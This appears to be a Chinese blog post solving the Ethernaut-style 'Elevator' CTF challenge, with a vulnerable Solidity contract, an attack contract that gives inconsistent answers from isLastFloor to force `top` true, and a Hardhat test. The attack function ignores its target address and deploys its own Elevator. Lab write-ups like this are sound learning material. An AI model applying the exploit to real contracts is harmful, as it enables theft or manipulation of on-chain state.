`

Elevator

 
阅读更多
Elevator.sol
// SPDX-License-Identifier: MIT
pragma solidity >= 0.6.0;
import "hardhat/console.sol";

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function test(uint256 _floor) public{
        console.log("test");
    }
    
    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);
        
        if(!building.isLastFloor(_floor)) {
            console.log("go");
            floor = _floor;
            top = building.isLastFloor(floor);
            console.logBool(top);
        }
    }
}



// SPDX-License-Identifier: MIT
pragma solidity >= 0.6.0;
import "hardhat/console.sol";
import "./Elevator.sol";


contract ElevatorAttack {
    uint floor;

    function isLastFloor(uint256 _floor) external returns (bool){
        console.log("inherit");
        if(floor==_floor){
            return true;
        }
        floor = _floor;
        console.log("isLastFloor");
        return false;
    }

    function attack(address addr) external{
        //创建新合约
        Elevator elevator = new Elevator();
        elevator.goTo(10);
    }
}




const { expect } = require("chai");
const { ethers } = require("hardhat");

contractName = "Elevator";
attackContractName = "ElevatorAttack";


describe(contractName, function () {
  it("test ", async function () {
    const Contract = await ethers.getContractFactory(contractName);
    const contract = await Contract.deploy();
    const AttackContract = await ethers.getContractFactory(attackContractName);
    const attackContract = await AttackContract.deploy();
    await attackContract.attack(contract.address);
  });
});
分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics